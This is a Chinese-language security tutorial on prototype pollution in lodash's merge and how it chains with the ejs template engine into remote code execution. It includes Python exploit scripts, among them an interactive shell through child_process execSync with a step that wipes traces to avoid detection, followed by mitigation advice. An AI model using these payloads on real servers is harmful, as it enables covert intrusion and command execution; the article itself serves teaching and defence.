前端原型鏈污染漏洞竟可以拿下服務器shell?
作為前端開發(fā)者,某天偶然遇到了原型鏈污染漏洞,原本以為沒有什么影響,好奇心驅使下,抽絲剝繭,發(fā)現(xiàn)原型鏈污染漏洞竟然也可以拿下服務器的shell管理權限,不可不留意!
某天正奮力的coding,機器人給發(fā)了這樣一條消息
查看發(fā)現(xiàn)是一個叫“原型鏈污染”(Prototype chain pollution)的漏洞,還好這只是 dev 依賴,當前功能下幾乎沒什么影響,其修復方式可以通過升級包版本即可。
“原型鏈污染”漏洞,看起來好高大上的名字,和“互聯(lián)網黑話”有得一拼,好奇心驅使下,抽絲剝繭地研究一番。
目前該漏洞影響了框架常用的有:
- Lodash <= 4.15.11
- Jquery < 3.4.0
- ...
0x00 同學實現(xiàn)一下對象的合并?
面試官讓被面試的同學寫個對象合并,該同學一聽這問題,就這,就這,30s就寫好了一份利用遞歸實現(xiàn)的對象合并,代碼如下:
- function merge(target, source) {
- for (let key in source) {
- if (key in source && key in target) {
- merge(target[key], source[key])
- } else {
- target[key] = source[key]
- }
- }
- }
可是面試的同學不知道,他實現(xiàn)的代碼,會埋下一個原型鏈污染的漏洞,大家下次面試新同學的時候,可以問問了。
為啥會有原型鏈污染漏洞?
那么接下來,我們一起深入淺出地認識一下原型鏈漏洞,以便于在日常開發(fā)過程中就規(guī)避掉這些可能的風險。
0x01 JavaScript中的原型鏈
1.1 基本概念
在javaScript中,實例對象與原型之間的鏈接,叫做原型鏈。其基本思想是利用原型讓一個引用類型繼承另一個引用類型的屬性和方法。然后層層遞進,就構成了實例與原型的鏈條,這就是所謂原型鏈的基本概念。
三個名詞:
隱式原型:所有引用類型(函數(shù)、數(shù)組、對象)都有 __proto__ 屬性,例如arr.__proto__
顯式原型:所有函數(shù)擁有prototype屬性,例如:func.prototype
原型對象:擁有prototype屬性的對象,在定義函數(shù)時被創(chuàng)建
原型鏈之間的關系可以參考圖1.1:
圖1.1 原型鏈關系圖
1.2 原型鏈查找機制
當一個變量在調用某方法或屬性時,如果當前變量并沒有該方法或屬性,就會在該變量所在的原型鏈中依次向上查找是否存在該方法或屬性,如果有則調用,否則返回undefined
1.3 哪里會用到
在開發(fā)中,常常會用到 toString()、valueOf()等方法,array類型的變量擁有更多的方法,例如forEach()、map()、includes()等等。例如聲明了一個arr數(shù)組類型的變量,arr變量卻可以調用如下圖中并未定義的方法和屬性。
通過變量的隱式原型可以查看到,數(shù)組類型變量的原型中已經定義了這些方法。例如某變量的類型是Array,那么它就可以基于原型鏈查找機制,調用相應的方法或屬性。
1.4 風險點分析&原型鏈污染漏洞原理
首先看一個簡單的例子:
- var a = {name: 'dyboy', age: 18};
- a.__proto__.role = 'administrator'
- var b = {}
- b.role // output: administrator
實際運行結果如下:
運行結果
可以發(fā)現(xiàn),給隱式原型增加了一個role的屬性,并且賦值為administrator(管理員)。在實例化一個新對象b的時候,雖然沒有role屬性,但是通過原型鏈可以讀取到通過對象a在原型鏈上賦值的‘administrator’。
問題就來了,__proto__指向的原型對象是可讀可寫的,如果通過某些操作(常見于merge,clone等方法),使得黑客可以增、刪、改原型鏈上的方法或屬性,那么程序就可能會因原型鏈污染而受到DOS、越權等攻擊
0x02 Demo演示 & 組合拳
2.1 Demo演示
Demo使用koa2來實現(xiàn)的服務端:
- const Koa = require("koa");
- const bodyParser = require("koa-bodyparser");
- const _ = require("lodash");
- const app = new Koa();
- app.use(bodyParser());
- // 合并函數(shù)
- const combine = (payload = {}) => {
- const prefixPayload = { nickname: "bytedanceer" };
- // 用法可參考:https://lodash.com/docs/4.17.15#merge
- _.merge(prefixPayload, payload);
- // 另外其他也存在問題的函數(shù):merge defaultsDeep mergeWith
- };
- app.use(async (ctx) => {
- // 某業(yè)務場景下,合并了用戶提交的payload
- if(ctx.method === 'POST') {
- combine(ctx.request.body);
- }
- // 某頁面某處邏輯
- const user = {
- username: "visitor",
- };
- let welcomeText = "同學,游泳健身,了解一下?";
- // 因user.role不存在,所以恒為假(false),其中代碼不可能執(zhí)行
- if (user.role === "admin") {
- welcomeText = "尊敬的VIP,您來啦!";
- }
- ctx.body = welcomeText;
- });
- app.listen(3001, () => {
- console.log("Running: http://localohost:3001");
- });
當一個游客用戶訪問網址:http://127.0.0.1:3001/ 時,頁面會顯示“同學,游泳健身,了解一下?”
可以看到在代碼中使用了loadsh(4.17.10版本)的merge()函數(shù),將用戶的payload和prefixPayload做了合并。
乍一看,似乎并沒有什么問題,對于業(yè)務似乎也不會產生什么問題,無論用戶訪問什么都應該只會返回“同學,游泳健身,了解一下?”這句話,程序上user.role是一個恒為為undefined的條件,則永遠不會執(zhí)行if判斷體中的代碼。
然而使用特殊的payload測試,也就是運行一下我們的attack.py腳本
當我們再訪問http://127.0.0.1:3001時,會發(fā)現(xiàn)返回的結果如下:
瞬間變成了健身房的VIP對吧,可以快樂白嫖了?此時,無論什么用戶訪問這個網址,返回的網頁都會是顯示如上結果,人人VIP時代。如果是咱寫的代碼在線上出現(xiàn)這問題,【事故通報】了解一下。
attact.py 的代碼如下:
- import requests
- import json
- req = requests.Session()
- target_url = 'http://127.0.0.1:3001'
- headers = {'Content-type': 'application/json'}
- # payload = {"__proto__": {"role": "admin"}}
- payload = {"constructor": {"prototype": {"role": "admin"}}}
- res = req.post(target_url, data=json.dumps(payload),headers=headers)
- print('攻擊完成!')
攻擊代碼中的payload:{"constructor": {"prototype": {"role": "admin"}}} 通過merge()函數(shù)實現(xiàn)合并賦值,同時,由于payload設置了constructor,merge時會給原型對象增加role屬性,且默認值為admin,所以訪問的用戶變成了“VIP”
2.2 分析一下loadsh中merge函數(shù)的實現(xiàn)
分析的lodash版本4.17.10(感興趣的同學可以拿到源碼自己手動追溯👀)node_modules/lodash/merge.js中通過調用了baseMerge(object, source, srcIndex)函數(shù) 則定位到:node_modules/lodash/_baseMerge.js 第20行的baseMerge函數(shù)
- function baseMerge(object, source, srcIndex, customizer, stack) {
- if (object === source) {
- return;
- }
- baseFor(source, function(srcValue, key) {
- // 如果合并的屬性值是對象
- if (isObject(srcValue)) {
- stack || (stack = new Stack);
- // 調用 baseMerge
- baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack);
- }
- else {
- var newValue = customizer
- ? customizer(safeGet(object, key), srcValue, (key + ''), object, source, stack)
- : undefined;
- if (newValue === undefined) {
- newValue = srcValue;
- }
- assignMergeValue(object, key, newValue);
- }
- }, keysIn);
- }
關注到safeGet的函數(shù):
- function safeGet(object, key) {
- return key == '__proto__'
- ? undefined
- : object[key];
- }
這也是為什么上面的payload為什么沒使用__proto__而是使用了等同于這個屬性的構造函數(shù)的prototype
有payload是一個對象因此定位到node_modules/lodash/_baseMergeDeep.js第32行:
- function baseMergeDeep(object, source, key, srcIndex, mergeFunc, customizer, stack) {
- var objValue = safeGet(object, key),
- srcValue = safeGet(source, key),
- stacked = stack.get(srcValue);
- if (stacked) {
- assignMergeValue(object, key, stacked);
- return;
- }
定位函數(shù)assignMergeValue 于 node_modules/lodash/_assignMergeValue.js第13行
- function assignMergeValue(object, key, value) {
- if ((value !== undefined && !eq(object[key], value)) ||
- (value === undefined && !(key in object))) {
- baseAssignValue(object, key, value);
- }
- }
再定位baseAssignValue于node_modules/lodash/_baseAssignValue.js第12行
- function baseAssignValue(object, key, value) {
- if (key == '__proto__' && defineProperty) {
- defineProperty(object, key, {
- 'configurable': true,
- 'enumerable': true,
- 'value': value,
- 'writable': true
- });
- } else {
- object[key] = value;
- }
- }
繞過了if判斷,然后進入else邏輯中,是一個簡單的直接賦值操作,并未對constructor和prototype進行判斷,因此就有了:
- prefixPayload = { nickname: "bytedanceer" };
- // payload:{"constructor": {"prototype": {"role": "admin"}}}
- _.merge(prefixPayload, payload);
- // 然后就給原型對象賦值了一個名為role,值為admin的屬性
故而導致了用戶會進入一個不可能進入的邏輯里,也就造成了上面出現(xiàn)的“越權”問題。
2.3 漏洞組合拳,拿下服務器權限
從上面的Demo案例中,你可能會有種錯覺:原型鏈漏洞似乎并沒有什么太大的影響,是不是不需要特別關注(相較于sql注入,xss,csrf等漏洞)。
真的是這樣嗎?來看一個稍微修改了的另一個例子(增加使用了ejs渲染引擎),以原型鏈污染漏洞為基礎,我們一起拿下服務器的shell!
- const express = require('express');
- const bodyParser = require('body-parser');
- const lodash = require('lodash');
- const app = express();
- app
- .use(bodyParser.urlencoded({extended: true}))
- .use(bodyParser.json());
- app.set('views', './views');
- app.set('view engine', 'ejs');
- app.get("/", (req, res) => {
- let title = '游客你好';
- const user = {};
- if(user.role === 'vip') {
- title = 'VIP你好';
- }
- res.render('index', {title: title});
- });
- app.post("/", (req, res) => {
- let data = {};
- let input = req.body;
- lodash.merge(data, input);
- res.json({message: "OK"});
- });
- app.listen(8888, '0.0.0.0');
該例子基于express+ejs+lodash,同理,訪問localhost:8888也是只會顯示游客你好,同上可以使用原型鏈攻擊,使得“人人VIP”,但不僅限于此,我們還可以深入利用,借助ejs的渲染以及包含原型鏈污染漏洞的lodash就可以實現(xiàn)RCE(Remote Code Excution,遠程代碼執(zhí)行)
先看看我們可以實現(xiàn)的攻擊效果:
可以看到,借助attack.py腳本,我們可以執(zhí)行任意的shell命令,于此同時我們還保證了不會影響其他用戶(管理員無法輕易感知入侵),在接下來的情況黑客就會常識性地進行提權、權限維持、橫向滲透等攻擊,以獲取更大利益,但與此同時,也會給企業(yè)帶來更大損失。
上面的攻擊方法,是基于loadsh的原型鏈污染漏洞和ejs模板渲染相配合形成的代碼注入,進而形成危害更大的RCE漏洞。
接下來看看形成漏洞的原因:
1.打斷點調試render方法
2.進入render方法,將options和模板名傳給app.render()
3.獲取到對應的渲染引擎ejs
4.進入一個異常處理
5.繼續(xù)
6.通過模板文件渲染
7.處理緩存,這個函數(shù)也沒啥可以利用的地方
8.終于來到模板編譯的地方了
9.繼續(xù)沖
10.終于進入ejs庫里了
在這個文件當中,發(fā)現(xiàn)第578行的opts.outputFunctionName是一undefined的值,如果該屬性值存在,那么就拼接到變量prepended中,之后的第597行可以看到,作為了輸出源碼的一部分
在697行,將拼接的源碼,放到了回調函數(shù)中,然后返回該回調函數(shù)
11.在tryHandleCache中調用了該回調函數(shù)
最后完成了渲染輸出到客戶端。
可以發(fā)現(xiàn)在第10步驟中,第578行的opts.outputFunctionName是一undefined的值,我們通過對象原型鏈賦值一個js代碼,那么它就會拼接到代碼中(代碼注入),并且在模版渲染的過程中會執(zhí)行該js代碼。
在nodejs環(huán)境下,可以借助其可調用系統(tǒng)方法代碼拼接到該渲染回調函數(shù)中,作為函數(shù)體傳遞給回調函數(shù),那么就可以實現(xiàn)遠程任意代碼執(zhí)行,也就是上面演示的效果,用戶可以執(zhí)行任意系統(tǒng)命令。
2.4 優(yōu)雅地實現(xiàn)一個攻擊腳本
優(yōu)雅的地方就在于,讓管理員和其他用戶基本不會有感知,能夠偷偷摸摸拿下服務器的shell。
Exploit完整腳本如下:
- import requests
- import json
- req = requests.Session()
- target_url = 'http://127.0.0.1:8888'
- headers = {'Content-type': 'application/json'}
- # 無效攻擊
- # payload = {"__proto__": {"role": "vip"}}
- # 普通的邏輯攻擊
- payload = {"content":{"constructor": {"prototype": {"role": "vip"}}}}
- # RCE攻擊
- # payload = {"content":{"constructor": {"prototype": {"outputFunctionName": "a; return global.process.mainModule.constructor._load('child_process').execSync('ls /'); //"}}}}
- # 反彈shell,比如反彈到MSF/CS上
- # 模擬一個交互式shell
- if __name__ == "__main__":
- payload = '\{"content":\{"constructor": \{"prototype": \{"outputFunctionName": "a; return global.process.mainModule.constructor._load(\'child_process\').execSync(\'{}\'); //"\}\}\}\}'
- while(True):
- shell = input('shell: ')
- if shell == '':
- continue
- if shell == 'exit':
- break
- formatStr = "a; return global.process.mainModule.constructor._load('child_process').execSync('" + shell +"'); //"
- payload = {"content":{"constructor": {"prototype": {"outputFunctionName": formatStr}}}}
- res = req.post(target_url, data=json.dumps(payload),headers=headers)
- res2 = req.get(target_url)
- print(res2.text)
- # 處理痕跡
- formatStr = "a; return delete Object.prototype['outputFunctionName']; //"
- payload = {"content":{"constructor": {"prototype": {"outputFunctionName": formatStr}}}}
- res = req.post(target_url, data=json.dumps(payload),headers=headers)
- req.get(target_url)
0x03 如何規(guī)避或修復漏洞
3.1 可能存在漏洞的場景
- 對象克隆
- 對象合并
- 路徑設置
3.2 如何規(guī)避
首先,原型鏈的漏洞其實需要攻擊者對于項目工程或者能夠通過某些方法(例如文件讀取漏洞)獲取到源碼,攻擊的研究成本較高,一般不用擔心。但攻擊者可能會通過一些腳本進行批量黑盒測試,或借助某些經驗或規(guī)律,便可降低研究成本,所以也不能輕易忽略此問題。
- 及時升級包版本:公司的研發(fā)體系中,安全運維參與整個過程,在打包等操作時,會自動觸發(fā)安全檢測,其實就提醒了開發(fā)者可能存在有風險的三方包,這就需要大家及時升級對應的三方包到最新版,或者嘗試替換更加安全的包。
- 關鍵詞過濾:結合漏洞可能存在場景,可多關注下對象拷貝和合并等代碼塊,是否針對__proto__、constructor和prototype關鍵詞做過濾。
- 使用hasOwnProperty來判斷屬性是否直接來自于目標,這個方法會忽略從原型鏈上繼承到的屬性。
- 在處理 json 字符串時進行判斷,過濾敏感鍵名。
- 使用 Object.create(null) 創(chuàng)建沒有原型的對象。
- 用Object.freeze(Object.prototype)凍結Object的原型,使Object的原型無法被修改,注意該方法是一個淺層凍結。
0x04 問題 & 探索
4.1 更多問題
Q:為什么在demo案例中payload中不用__proto__?
A:在我使用的loadsh庫4.17.10版本中,發(fā)現(xiàn)針對__proto__關鍵詞做了判斷和過濾,因此想到了通過訪問構造函數(shù)的prototype的方式繞過
Q:在Demo中,為什么被攻擊后,任意用戶訪問都是VIP身份了?
A:JavaAcript是單線程執(zhí)行程序的,所以原型鏈上的屬性相當于是global,所有連接的用戶都共享,當某個用戶的操作改變了原型鏈上的內容,那么所有訪問者訪問程序的都是基于修改之后的原型鏈
4.2 探索
作為安全研究人員,上面演示的原型鏈漏洞看似威脅并不大,但實際上黑客的攻擊往往是漏洞的組合,當一個輕危級別的漏洞,作為高危漏洞的攻擊的基礎,那么低危漏洞還能算是低危漏洞嗎?這更需要安全研究人員,不僅要追求對高危漏洞的挖掘,還得增強對基礎漏洞的探索意識。
作為開發(fā)人員,我們可以嘗試下,如何借助工具快速檢測程序中是否存在原型鏈污染漏洞,以期望加強企業(yè)程序的安全性。幸運的是,在公司內部已經通過編譯平臺做了一些安全檢查,大家可以加強對于安全的關注度。
原型鏈污染的利用難度雖然較大,但是基于其特性,所有的開源庫都在npm上可以看到,如果惡意的黑客,通過批量檢測開源庫,并且通過搜集特征,那么他想要獲取攻擊目標程序的是否引用具有漏洞的開源庫也并非是一件困難的事情。
那么我們自己寫一個腳本去Github上刷一波,也不是不行...